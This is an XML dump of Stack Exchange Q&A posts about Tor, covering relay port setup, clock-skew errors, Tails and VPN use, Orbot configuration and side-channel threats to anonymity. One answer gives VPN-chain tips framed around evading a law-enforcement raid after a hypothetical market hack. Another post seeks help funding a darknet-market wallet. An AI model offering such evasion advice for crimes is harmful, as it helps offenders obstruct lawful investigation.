  <row Id="19168" PostTypeId="2" ParentId="19160" CreationDate="2018-12-25T22:06:48.637" Score="0" Body="&lt;p&gt;If Rohit is connected to an onion site the traffic is encrypted point to point.  Nothing on the wire can give him away.  If he is connected to a conventional site &lt;strong&gt;&lt;em&gt;over Tor&lt;/em&gt;&lt;/strong&gt; there are some attack vectors available.  Assuming that Rohit is connected to an onion, the only way Elliot can gain any info is to compromise Rohit's laptop, or the server serving the data.  Both have access to the packets on the other side of the encryption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your laptop gets hacked, there is no measure of security that will protect you.  Most all network security protocols work on preventing people who tap your connection from seeing information.  Once someone owns your laptop, they can just stream your desktop and read your browser data off your screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to prevent this is to keep your OS from getting hacked or use a &quot;stateless&quot; OS like tails.  There are lower level hacks like installing a FW trojan to compromise any RNG that even tails couldn't prevent.  If an attacker installs hardware or firmware level intrusions, you would need to counter act those at that level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent (or complicate) FW hacks, you should use something like UEFI secure boot.  Secure Boot is supposed to sign key FW components to detect any malicious FW, but very few vendors get it right.  A proper implementation would need to sign, verify and checksum each FW component involved with IO or Networking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with Tails and a perfect UEFI Secure Boot implementation you are still exposed to hardware implanted devices, &lt;a href=&quot;https://web.archive.org/web/20181225214632/https://www.extremetech.com/extreme/173108-researchers-crack-the-worlds-toughest-encryption-by-listening-to-the-tiny-sounds-made-by-your-computers-cpu&quot; rel=&quot;nofollow noreferrer&quot;&gt;acoustic cryptanalysis&lt;/a&gt;, and other side-band attacks like Meltdown and Spectre.  With these HW and sideband attacks, there really is no counter measure.  Some have since been patched, but assuming Elliot knows of zero-day sideband attacks, there is little hope for Rohit's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stepping out of the make believe and world of crypto research, most users simply want to know what is exposed on a typical TLS or Tor connection.  &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a great visual&lt;/a&gt; to give you and understanding of what communication data is vulnerable and when.  In the real world, you'll be fine.  Generally if you only connect to onions or TLS (https://) sites over Tor you are safe.  If you connect to &quot;http://&quot; sites there is an attack vector if someone playing the part of the NSA could correlate your traffic... even on Tor.&lt;/p&gt;&#xA;" OwnerUserId="7849" LastEditorUserId="7849" LastEditDate="2018-12-25T22:14:11.620" LastActivityDate="2018-12-25T22:14:11.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19171" PostTypeId="2" ParentId="19164" CreationDate="2018-12-27T03:16:34.157" Score="0" Body="&lt;p&gt;Few holes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anon purchased VPNs help prevent your identity from being exposed when the VPN is raided.  It doesn't shield the &lt;strong&gt;&lt;em&gt;first&lt;/em&gt;&lt;/strong&gt; VPN from knowing your IP address.  So assuming you piss off the NSA, and they raid your VPN while your connected to the VPN, and the sysadmin doesn't hit the kill switch when they kick in the door, the NSA would be able to correlate your real IP address with your VPN account name of your &lt;strong&gt;&lt;em&gt;first&lt;/em&gt;&lt;/strong&gt; VPN.  From there they could raid your ISP which are less privacy conscience than bitcoin VPNs.  If your ISP keeps NSA logs, then the NSA would have a pretty good idea of &lt;strong&gt;&lt;em&gt;when&lt;/em&gt;&lt;/strong&gt; you were connected to your &lt;strong&gt;&lt;em&gt;first&lt;/em&gt;&lt;/strong&gt; VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if your global Mr Robot NASDAQ hack started 5 minutes after you connected to your &lt;strong&gt;&lt;em&gt;first&lt;/em&gt;&lt;/strong&gt; VPN in the chain, and stopped 5 minutes before you disconnected from your &lt;strong&gt;&lt;em&gt;first&lt;/em&gt;&lt;/strong&gt; VPN, there would be pretty good circumstantial evidence for the FISA judge to go medieval on you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To mitigate you should randomize which VPN is first in your VPN chain (you didn't mention if you did that or not).  If you randomize which is first, you reduce the NSA agent and FISA judge from catching your global conspiracy by a factor of the number of VPNs in your chain.  So if you have 10 VPNs in your chain or pool, then there is only a 10% chance that the agents raid the VPN your connected to when you do your Mr Robot work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your biggest vunerability will be on your laptop itself.  Even with Whonix VMs you are exposed to hardware implant hacks, &lt;a href=&quot;https://web.archive.org/web/20181225214632/https://www.extremetech.com/extreme/173108-researchers-crack-the-worlds-toughest-encryption-by-listening-to-the-tiny-sounds-made-by-your-computers-cpu&quot; rel=&quot;nofollow noreferrer&quot;&gt;acoustic cryptanalysis&lt;/a&gt;, and other side-band attacks like Meltdown and Spectre.  These are all theoretical and there is no proof that the NSA or GCHQ have deployed AC, Spectre, or Meltdown to deanonomize a Whonix instance or RSA keys from a host OS.  In theory its possible giving an infinitely intelligent advisory with limitless funds and sole focus on taking down Mr. Piece0fshite@stackexchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point is there is no 100% anonymous if your dealing with omnipotent opponents.  But unless your planning to hack NASDAQ or something, &lt;a href=&quot;https://www.eff.org/pages/tor-and-https&quot; rel=&quot;nofollow noreferrer&quot;&gt;Comcast + TOR + HTTPS&lt;/a&gt; will likely be all you will ever need.&lt;/p&gt;&#xA;" OwnerUserId="7849" LastActivityDate="2018-12-27T03:16:34.157" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19172" PostTypeId="2" ParentId="19148" CreationDate="2018-12-27T03:28:03.270" Score="1" Body="&lt;p&gt;Yes... Two ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Since on most installs, only the TorBrowser goes through Tor, just open google in chrome.&lt;/li&gt;&#xA;&lt;li&gt;If you don't like [1] you could install FoxyProxy and configure a rule to bypass the Tor Proxy (127.0.0.1:9050) when connected to https://*.google.com&lt;/li&gt;&#xA;&lt;li&gt;Just use duckduckgo since it works with Tor anyway.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My opinion is that [1] is far better than [2], since [2] fingerprints your Tor instance which will go a step towards de-anonomizing you.  Unless your running Tails or Whonix your OS is already sending multiple TCP/UDP connections out while your on Tor anyway.  It is just hard to impossible for most to correlate the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best bet would be to use [3].&lt;/p&gt;&#xA;" OwnerUserId="7849" LastActivityDate="2018-12-27T03:28:03.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19173" PostTypeId="2" ParentId="19147" CreationDate="2018-12-27T03:37:19.633" Score="2" Body="&lt;p&gt;This is a thing... but it's not called Tor.  There are a few network protocols that do this stuff.  What you describe is probably closest to the I2P network which has torrenting built into it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;strong&gt;&lt;em&gt;could&lt;/em&gt;&lt;/strong&gt; make a torrent client that also doubled as a Tor Bridge, Relay, Exit node, but most users of it would be pissed to find their torrent-client made them a tor-exit-node with all the legal headaches that entails in most countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Point is Tor is a way to gain anonymity by proxying your traffic through volunteers running bridges and relays.  The bridges and relays are &lt;strong&gt;&lt;em&gt;NOT&lt;/em&gt;&lt;/strong&gt; anonymous, and running one is big flashing light to your ISP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not that running a bridge or relay node is not a good thing, or something that could / should be done.  It just is not anonymous and making it so requires a different skill set than running a torrent client.&lt;/p&gt;&#xA;" OwnerUserId="7849" LastActivityDate="2018-12-27T03:37:19.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19174" PostTypeId="1" CreationDate="2018-12-27T12:11:41.573" Score="0" ViewCount="827" Body="&lt;p&gt;I cannot get my bitcoin wallet full on Dream Market because the Bitcoin address is only valid for 10 days but then they don't give you a new one or the tip to get a new BTC address.Can you help me solve the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you and Kind Regards&lt;/p&gt;&#xA;" OwnerUserId="24838" LastActivityDate="2019-07-20T19:34:43.627" Title="Bitcoin wallet address on Dream Market" Tags="|help|onion-routing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19177" PostTypeId="1" CreationDate="2018-12-27T23:38:58.973" Score="0" ViewCount="91" Body="&lt;p&gt;I'm planning on encrypting my entire HDD - which includes Tor .onion service content - using Veracrypt, the latest in encryption technology. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has Veracrypt been known to successfully encrypt .onion service material stored on HDD? Just how indecipherable would a hard drive encrypted by Veracrypt be and has this level of encryption ever been defeated by a global or state actor?  &lt;/p&gt;&#xA;" OwnerUserId="24820" LastActivityDate="2018-12-27T23:43:31.187" Title="Have global adversaries ever been able to decrypt hard drives storing .onion material encrypted by Veracrypt?" Tags="|onion-services|encryption|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19178" PostTypeId="2" ParentId="19177" CreationDate="2018-12-27T23:43:31.187" Score="1" Body="&lt;p&gt;these matters are totally unrelated: Tor is a Network layer, sort of speaking, and - HDD security - is a server-layer or service-layer, regardless of the network the Server is exposed to: Internet/Clearnet, Tor, I2P e.t.c..&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2018-12-27T23:43:31.187" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19179" PostTypeId="1" CreationDate="2018-12-28T00:47:08.300" Score="1" ViewCount="126" Body="&lt;p&gt;Does simply having chrome open on the same machine while running Tor jeopardize my anonymity?&lt;/p&gt;&#xA;" OwnerUserId="24845" LastEditorUserId="5234" LastEditDate="2019-02-10T18:54:40.273" LastActivityDate="2019-02-10T18:54:40.273" Title="Chrome open while on Tor" Tags="|chrome|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19185" PostTypeId="1" CreationDate="2018-12-29T18:26:10.300" Score="0" ViewCount="3162" Body="&lt;pre&gt;&lt;code&gt;12/29/18, 17:21:54.324 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/18, 17:21:54.325 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/18, 17:21:54.325 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/18, 17:21:54.325 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;12/29/18, 17:21:54.325 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;12/29/18, 17:21:54.331 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;12/29/18, 17:21:54.573 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;12/29/18, 17:21:54.613 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;12/29/18, 17:21:54.725 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;12/29/18, 17:22:01.447 [WARN] Received directory with skewed time (DIRSERV:154.35.175.225:443): It seems that our clock is behind by 58 minutes, 35 seconds, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings. &#xA;12/29/18, 17:22:01.448 [WARN] Problem bootstrapping. Stuck at 25%: Loading networkstatus consensus. (Clock skew -3515 in directory from DIRSERV; CLOCK_SKEW; count 2; recommendation warn; host ? at 154.35.175.225:443) &#xA;12/29/18, 17:22:01.494 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;12/29/18, 17:22:01.495 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;12/29/18, 17:22:01.495 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24860" LastEditorUserId="5234" LastEditDate="2019-02-10T19:59:15.973" LastActivityDate="2023-06-23T11:03:55.470" Title="Tor failed to establish a tor Tor network connection" Tags="|tor-browser-bundle|connection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19190" PostTypeId="2" ParentId="19185" CreationDate="2018-12-30T15:04:35.997" Score="0" Body="&lt;p&gt;the messages are there for a reason... please read it and act accordingly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Received directory with skewed time (DIRSERV:154.35.175.225:443): It seems that our clock is behind by 58 minutes, 35 seconds, or that theirs is ahead. Tor requires an accurate clock to work: please check your time, timezone, and date settings.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;it seems that your clock is out of sync... please try to connect again (to rule out if it was a server issue), if you get the same error message again set the correct time on your machine. - IIRC your hardware clock should be in UTC!&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2019-02-11T05:50:45.960" LastActivityDate="2019-02-11T05:50:45.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19194" PostTypeId="2" ParentId="18087" CreationDate="2018-12-31T09:54:58.527" Score="1" Body="&lt;p&gt;I'll assume that &quot;Tails/Tor&quot; is just &quot;Tails&quot;.  Running Tor &lt;strong&gt;&lt;em&gt;without&lt;/em&gt;&lt;/strong&gt; tails on your laptop OS (windows or whatever) is trivial as is setting up a VPN in front of it.  So assuming your only talking about Tails...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to run Tails/Tor through a VPN&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What you want is currently a &lt;a href=&quot;https://redmine.tails.boum.org/code/issues/5858&quot; rel=&quot;nofollow noreferrer&quot;&gt;feature request (#5858)&lt;/a&gt; but has not been completed yet.  It's a 5 year old request, so no grantee that it will show up in the next release.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the feature request is a &lt;a href=&quot;https://redmine.tails.boum.org/code/attachments/download/1423/OpenVPN_over_Tor_in_Tails_2.4.x.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;script&lt;/a&gt; to install and run openvpn inside tails.  The script runs the VPN over Tor, instead of what you asked which is to run Tor over the VPN.  It's a rather complex script and isn't really plug-and-play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the VPN in front of Tor, like you asked, you'll have to wait for the feature request to get completed, or run the VPN though your home router or other device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simpler option would be to install the VPN software on your laptop then run tails inside a VM (on your laptop) while connected to the VPN.  Here's the official documentation (and warnings) for running tails inside a VM&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/virtualization/index.en.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Running Tails in a virtual machine&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7849" LastEditorUserId="7849" LastEditDate="2018-12-31T10:00:16.127" LastActivityDate="2018-12-31T10:00:16.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19196" PostTypeId="1" CreationDate="2019-01-01T11:36:17.937" Score="1" ViewCount="811" Body="&lt;p&gt;I recently downloaded a file through Tor Browser. The download speed was, let's say 0.5 MB/s. After pausing and resuming the download, the speed jumped up to 3MB/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering if the connection is anonymous anymore when I pause and a resume a download?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not anonymous, I want to ask how to configure Tor to do that.&lt;/p&gt;&#xA;" OwnerUserId="24881" LastActivityDate="2019-05-16T19:44:38.937" Title="Is a Tor Download anonymos when pausing and resuming it?" Tags="|configuration|anonymity|security|speed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19197" PostTypeId="1" CreationDate="2019-01-01T12:53:26.513" Score="3" ViewCount="1200" Body="&lt;p&gt;Let's suppose my goal is to prevent someone from tampering with my TAILS session while I'm absent from my laptop, and let's suppose that shutting down every time I go for a walk isn't an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lock-screen password is good, but let's suppose that it is not enough for me. There could be a security hole that bypasses the lock-screen or someone could know my password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does suspending the laptop then physically removing the USB drive provide better security? On a first glance, it seems pretty secure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the lid is opened without inserting the USB drive first, the laptop will immediately shut down, and the attacker wouldn't even know why (they could just assume I used the webcam or something else to detect unauthorized persons). &lt;/li&gt;&#xA;&lt;li&gt;If I notice the laptop is turned off when I come back, I will be alarmed and I can check for signs of tampering or consider buying a new laptop.&lt;/li&gt;&#xA;&lt;li&gt;If they install a 'fake TAILS' on the laptop and turn it back on, I will notice that all my session state is gone and I will also be alarmed.&lt;/li&gt;&#xA;&lt;li&gt;If someone wants to open the laptop without triggering shut-down, they'll need to a) know that I am using TAILS in this way, b) own the same brand of USB-drive that I used, and c) know which USB port I plugged the USB drive into. Even after this, they'll still need to break the lock-screen.&lt;/li&gt;&#xA;&lt;li&gt;Installing a hardware backdoor surely must be a bit more difficult while the hardware is still turned on, and if they ever accidentally open the lid just a little bit, it's game over.&lt;/li&gt;&#xA;&lt;li&gt;No one can install malware on my TAILS USB if I carry it with me at all times.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Am I missing anything? Why isn't this a widely recommended practice? The only minor downsides that I see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you could accidentally trigger shutdown yourself.&lt;/li&gt;&#xA;&lt;li&gt;the session RAM can still be read physically on the hardware-level (but this could be prevented if there was an option to suspend to the USB stick instead of to RAM).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user24882" LastActivityDate="2021-02-28T13:40:45.247" Title="Does suspending TAILS then removing the USB drive increase security?" Tags="|security|tails|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19199" PostTypeId="1" AcceptedAnswerId="19203" CreationDate="2019-01-02T15:54:07.453" Score="2" ViewCount="6363" Body="&lt;p&gt;I've been trying to set up a tor relay with a Raspberry Pi. It runs Raspbian GNU/Linux 9 and Tor 0.2.9.16.&lt;/p&gt;&#xA;&lt;p&gt;Since I only want to use the Raspberry for the tor relay I didn't do much. After installing Raspbian, I set up SSH and installed &lt;code&gt;tor&lt;/code&gt;. I have configured a static IP address via my router and forwarded the needed ports (see below).&lt;/p&gt;&#xA;&lt;p&gt;In order to monitor my relay I installed a tool called &lt;code&gt;nyx&lt;/code&gt; afterwards. It's mentioned in &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorRelayGuide#Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Tor Relay Guide&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;When I start Tor now the expected entries appear in the log.&lt;/p&gt;&#xA;&lt;p&gt;Also this message:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Tor has successfully opened a circuit. Looks like your client functionality is working.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But after a few minutes (and later in a 20-minute interval) the following entries appear in the log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Your server (xx.xx.xx.xxx:9030) has not managed to confirm that its DirPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, adress, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[WARN] Your server (xx.xx.xx.xxx:9001) has not managed to confirm that its ORPort is reachable. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, adress, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I dont't know why these warnings are coming up. Especially since I see with &lt;code&gt;nyx&lt;/code&gt; connections appearing and data being transferred.&lt;/p&gt;&#xA;&lt;p&gt;This is the configuration in my &lt;code&gt;/etc/tor/torrc-file&lt;/code&gt; (I have exchanged the nickname and the contact info with &lt;code&gt;abcd&lt;/code&gt; in this post):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 0&#xA;RunAsDaemon 1&#xA;DirPort 9030&#xA;ORPort 9001&#xA;Nickname abcd&#xA;ContactInfo abcd&#xA;Log notice file /var/log/tor/notices.log&#xA;ExitPolicy reject *:*&#xA;ControlPort 9051&#xA;CookieAuthentication 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And with my router (Fritz!Box 6490 Cable) I have enabled port forwarding for these ports:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Oq959.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oq959.jpg&quot; alt=&quot;Simple Screenshot of the port forwarding settings of the Fritz!Box&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I know that similar questions have already been asked and can be found relatively quickly on the Internet, but none of the answers have helped me so far, so I ask here.&lt;/p&gt;&#xA;&lt;p&gt;I have no idea why the error messages appear and how to solve the problem. If anyone has an idea, please, let me know.&lt;/p&gt;&#xA;" OwnerUserId="24890" LastEditorUserId="20534" LastEditDate="2021-07-12T14:57:41.907" LastActivityDate="2021-07-12T14:57:41.907" Title="How to make a Tor relays ORPort and DirPort reachable?" Tags="|configuration|relays|error|raspberry-pi|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19200" PostTypeId="2" ParentId="18088" CreationDate="2019-01-02T18:29:20.107" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Check Orbot setting, could you able to see &lt;em&gt;NOTICE: Bootstrapped 100%: Done&lt;/em&gt; if not you need to wait still it joins the Tor network.&lt;/li&gt;&#xA;&lt;li&gt;OrFox - check Tor connection by visiting &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt; on your browser. you should see a message, &quot;&lt;em&gt;Congratulations. This browser is configured to use Tor.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then try accessing the website/onion sites. (make sure Orbot is running in the background and hasn't disconnected from tor network)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="24893" LastEditorUserId="88" LastEditDate="2019-04-25T20:28:57.490" LastActivityDate="2019-04-25T20:28:57.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19202" PostTypeId="1" CreationDate="2019-01-02T21:05:33.717" Score="0" ViewCount="347" Body="&lt;p&gt;I have tried setting this up and cannot get orfox to load any pages. It is definitely some sort of failure to connect, but orbot says it's 100% bootstrapped. I tried following set up instructions, but I don't show some of the options that it lists. This is on an Android phone, I have nordvpn, orbot, orfox. I know this is vague, but I need to walk through this with some feedback. Where do I start?&lt;/p&gt;&#xA;" OwnerUserId="24898" LastActivityDate="2022-01-17T14:06:35.623" Title="Android and orfox/orbot setup" Tags="|support|startup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19203" PostTypeId="2" ParentId="19199" CreationDate="2019-01-02T22:11:21.493" Score="2" Body="&lt;p&gt;I think you are looking for &lt;code&gt;NoAdvertise&lt;/code&gt; and &lt;code&gt;NoListen&lt;/code&gt; flags. The manual says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ORPort [address:]PORT|auto [flags]&#xA;    Advertise this port to listen for connections from Tor clients and&#xA;    servers. This option is required to be a Tor server. Set it to&#xA;    &quot;auto&quot; to have Tor pick a port for you. Set it to 0 to not run an&#xA;    ORPort at all. This option can occur more than once. (Default: 0)&#xA;&#xA;    Tor recognizes these flags on each ORPort:&#xA;&#xA;    **NoAdvertise**::&#xA;    By default, we bind to a port and tell our users about it. If&#xA;    NoAdvertise is specified, we don't advertise, but listen anyway.&#xA;    This can be useful if the port everybody will be connecting to&#xA;    (for example, one that's opened on our firewall) is somewhere else.&#xA;&#xA;    **NoListen**::&#xA;    By default, we bind to a port and tell our users about it. If&#xA;    NoListen is specified, we don't bind, but advertise anyway.  This&#xA;    can be useful if something else  (for example, a firewall's port&#xA;    forwarding configuration) is causing connections to reach us.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I would rewrite the following two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirPort 9030&#xA;ORPort 9001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DirPort 9030 NoAdvertise&#xA;DirPort &amp;lt;your external ip address&amp;gt;:9030 NoListen&#xA;ORPort 9001 NoAdvertise&#xA;ORPort &amp;lt;your external ip address&amp;gt;:9001 NoListen&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which would listen locally but wouldn't advertise (unreachable) local address to dir authorities and would advertise the ports forwarded from your external router interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This of course assumes that your router is assigned static, globally routable IPv4 address by your ISP. If this is not the case you are unlikely to be able to run tor relay.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2019-01-02T22:11:21.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19204" PostTypeId="2" ParentId="17886" CreationDate="2019-01-03T05:38:15.300" Score="1" Body="&lt;p&gt;Generally speaking... you can't.  Digging a bit deeper, you'll find that it can be done manually with some work, but even then persistent storage won't work unless your Hard Disk is attached via USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you happen to be using a USB hard-drive, it should be easier.  You just have to remember to remove &lt;code&gt;live-media=removable&lt;/code&gt; at the &lt;a href=&quot;https://web.archive.org/web/20190102040950im_/https://tails.boum.org/install/inc/screenshots/tails_boot_menu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;&lt;em&gt;Tails Bootloader Menu&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; (just hit tab)&lt;/p&gt;&#xA;" OwnerUserId="7849" LastActivityDate="2019-01-03T05:38:15.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19205" PostTypeId="2" ParentId="19202" CreationDate="2019-01-03T09:57:38.107" Score="0" Body="&lt;p&gt;Sometime i even get into this problem when i change network i.e. from WIFI to Mobile data and vice versa.&#xA;Try resetting the orbot and orfox app in android. (without uninstalling the app)&#xA;(Warning : may lose your bookmarks and data/password)&#xA;Settings--&gt;App Management--&gt;Clear data and clear cache.&lt;/p&gt;&#xA;" OwnerUserId="24893" LastActivityDate="2019-01-03T09:57:38.107" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19207" PostTypeId="1" AcceptedAnswerId="19236" CreationDate="2019-01-04T08:54:57.057" Score="1" ViewCount="1176" Body="&lt;p&gt;How can i configure Tor Expert to connect through a http proxy? I had used Tor Browser bundle and there it is easy to configure a http/https proxy for tor but i wonder how i can redo it for tor expert.&lt;/p&gt;&#xA;" OwnerUserId="17880" LastEditorUserId="17880" LastEditDate="2019-01-29T10:09:18.023" LastActivityDate="2019-02-10T20:00:11.763" Title="How to Configure &quot;Tor Expert&quot; to use http proxy on windows" Tags="|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19208" PostTypeId="1" CreationDate="2019-01-04T19:51:23.597" Score="1" ViewCount="114" Body="&lt;p&gt;I remember that some versions ago tor had a pop-down menu where it was possible to see the path that the connection went through. Has it become totally hidden or was it moved somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I look up my connection path/final node country &lt;em&gt;after&lt;/em&gt; I'm already launched tor?&lt;/p&gt;&#xA;" OwnerUserId="24912" LastActivityDate="2019-01-04T19:51:23.597" Title="Is it possible to see what is my connection path/final tor node in this identity?" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19213" PostTypeId="2" ParentId="15879" CreationDate="2019-01-07T01:35:34.970" Score="0" Body="&lt;p&gt;To use captchas: Change your security level to &lt;code&gt;Safest&lt;/code&gt;, then resolve them and gain access. After, change back your security level again to &lt;code&gt;Standard&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24930" LastActivityDate="2019-01-07T01:35:34.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19217" PostTypeId="1" CreationDate="2019-01-08T04:22:47.133" Score="1" ViewCount="854" Body="&lt;p&gt;Why pluggable transport meek is so popular in China ? Why not other pluggable transports like obs4, fte ?&lt;/p&gt;&#xA;" OwnerUserId="22687" LastActivityDate="2019-10-09T14:58:42.773" Title="Popularity of meek in china" Tags="|meek|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19220" PostTypeId="2" ParentId="19174" CreationDate="2019-01-08T16:10:00.347" Score="1" Body="&lt;p&gt;Bitcoin addresses are valid indefinitely&lt;/p&gt;&#xA;" OwnerUserId="24949" LastActivityDate="2019-01-08T16:10:00.347" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
